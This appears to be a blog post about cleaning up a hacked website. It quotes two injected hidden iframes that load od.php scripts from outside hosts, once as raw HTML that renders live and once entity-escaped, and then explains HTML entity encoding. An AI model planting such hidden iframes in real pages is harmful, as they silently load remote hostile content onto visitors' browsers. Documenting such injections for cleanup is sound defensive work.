more on Websites, hacking, and Cleanup

This is the code that was shown in the previous "Websites, hacking, and Cleanup" post:

<div style='display:none'><iframe width='9' height='6' src='http://www.flepstudio.org/od.php frameborder='0' scrolling='no'></iframe></div>

<div style='display:none'><iframe width='9' height='6' src='http://t-tapp.com/od.php' frameborder='0'" </literal>



This is the HTML that was added with the HTML editor to display the above code:

&lt;div style=&#x27;display:none&#x27;&gt;&lt;iframe width=&#x27;9&#x27; height=&#x27;6&#x27; src=&#x27;http:&#x2F;&#x2F;www.flepstudio.org&#x2F;od.php frameborder=&#x27;0&#x27; scrolling=&#x27;no&#x27;&gt;&lt;&#x2F;iframe&gt;&lt;&#x2F;div&gt;

&lt;div style=&#x27;display:none&#x27;&gt;&lt;iframe width=&#x27;9&#x27; height=&#x27;6&#x27; src=&#x27;http:&#x2F;&#x2F;t-tapp.com&#x2F;od.php&#x27; frameborder=&#x27;0&#x27;" &lt;&#x2F;literal&gt;

The HTML processor interprets the code as it is read, if the code requires translation the code is translated rather than executed. The first example is executed, the 2nd example is translated. For example, the &#x27; in the second example is translated to ' . The & symbol means a special symbol, the # means that the symbol is a number for an ASCII code symbol, the x means the number is hexidecimal, and 27 is hexidecimal for the number 39, the ; indicates the end of the "special symbol" field. When the ASCII code table is checked, 39 decimal and 27 hexidecimal is the character '
